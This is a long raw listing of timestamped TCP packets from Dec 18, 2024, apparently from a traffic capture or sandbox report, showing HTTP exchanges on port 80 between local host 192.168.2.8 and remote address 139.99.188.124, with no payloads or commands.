                                                        Dec 18, 2024 09:31:23.160912037 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.162305117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.162414074 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.162683964 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.163609028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.163700104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.163781881 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.165111065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.165277004 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.165358067 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.166668892 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.166722059 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.166796923 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.168081045 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.168188095 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.168591022 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.169559956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.169661045 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.169734955 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.171072006 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.171344995 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.171868086 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.172576904 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.172693968 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.172986031 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.174118042 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.174197912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.174293041 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.175542116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.175640106 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.175713062 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.177021980 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.177155018 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.177200079 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.178579092 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.178739071 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.179327965 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.180232048 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.180408001 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.180598021 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.181543112 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.181756020 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.181823969 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.183032036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.183202982 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.183329105 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.184518099 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.184608936 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.184849977 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.186003923 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.186147928 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.186244965 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.187572002 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.187711000 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.187845945 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.189014912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.189121962 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.189198017 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.190438986 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.190558910 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.190650940 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.191953897 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.192085981 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.192203999 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.193413973 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.193613052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.193711042 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.194905996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.195070028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.195290089 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.196607113 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.196661949 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.196898937 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.197922945 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.197998047 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.198062897 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.199404001 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.199507952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.199604988 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.200879097 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.200933933 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.201117039 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.202394009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.202464104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.202539921 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.203826904 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.203978062 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.204149008 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.205342054 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.205466986 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.205820084 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.206828117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.206959963 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.207035065 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.208339930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.208447933 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.208569050 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.209846020 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.210006952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.210186005 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.211287022 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.211499929 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.211630106 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.212891102 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.213092089 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.213365078 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.214287043 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.214368105 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.214514017 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.215778112 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.215925932 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.216274977 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.217291117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.217427015 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.217655897 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.218749046 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.218873978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.219264984 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.220216036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.220350027 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.220514059 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.221712112 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.221829891 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.221944094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.223190069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.223360062 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.223717928 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.224675894 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.224803925 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.224953890 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.226200104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.226308107 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.226396084 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.227653027 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.227806091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.228302002 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.229187012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.229295015 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.229382992 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.230650902 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.230772018 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.231158972 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.232114077 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.232168913 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.232440948 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.233629942 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.233819008 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.234071970 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.243916988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.244034052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.244416952 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.244599104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.244674921 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.244893074 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.246107101 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.246279955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.246618986 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.247848988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.247972012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.248156071 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.249151945 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.249258041 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.249344110 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.250623941 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.250684977 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.250742912 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.252110958 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.252159119 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.252252102 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.253762960 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.253864050 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.254179001 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.255127907 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.255186081 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.255340099 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.256531000 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.256583929 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.256699085 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.258045912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.258155107 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.258212090 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.259495020 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.259618044 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.259696007 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.261018038 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.261158943 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.261249065 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.262456894 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.262558937 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.262703896 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.263962030 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.264075994 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.264522076 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.265439034 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.265556097 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.265605927 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.266936064 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.266978979 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.267107010 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.268404007 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.268534899 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.268801928 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.269922972 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.270037889 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.270143032 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.271401882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.271528959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.271620989 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.272892952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.273005009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.273359060 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.274399996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.274497986 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.274557114 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.276133060 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.276344061 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.276412964 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.277688980 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.277769089 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.277879000 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.279035091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.279128075 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.279201984 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.280483961 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.280622959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.281249046 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.281843901 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.281977892 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.282311916 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.283354044 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.283463955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.283529997 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.284868956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.284986973 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.285070896 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.286303997 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.286448956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.286572933 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.287812948 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.287931919 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.288001060 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.289252996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.289453030 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.289561033 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.289561033 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.290793896 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.290879011 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.291042089 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.292288065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.292390108 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.292546988 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.293773890 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.293978930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.294394016 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.295238972 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.295384884 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.295577049 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.296724081 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.296880007 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.296967030 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.298229933 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.298358917 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.298537970 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.299810886 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.299865961 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.299947023 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.300318956 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.301203012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.301271915 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.301543951 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.302680016 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.302875996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.303040981 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.304174900 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.304292917 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.304426908 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.305668116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.305780888 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.305882931 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.307154894 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.307310104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.307385921 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.309077978 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.317311049 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.375685930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.375709057 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.375720024 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.375804901 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.375967026 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.376018047 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.376027107 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.376039982 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.376137972 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.376842022 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.377026081 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.377126932 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.398819923 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.398839951 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.398981094 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.398984909 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.399034977 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.399081945 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.399197102 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.399842024 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.399861097 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.399873018 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.399894953 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.399993896 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.400656939 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.400723934 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.400738001 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.401051998 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.401527882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.401593924 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.401606083 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.401670933 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.401670933 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.402327061 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.402371883 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.402384996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.402544975 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.403249979 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.403271914 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.403285980 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.403335094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.403491020 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.404023886 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.404064894 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.404077053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.404195070 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.404881954 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.404925108 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.404937983 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.405435085 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.405435085 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.405730963 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.405776978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.405790091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.405827045 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.406837940 CET8049705139.99.188.124192.168.2.8
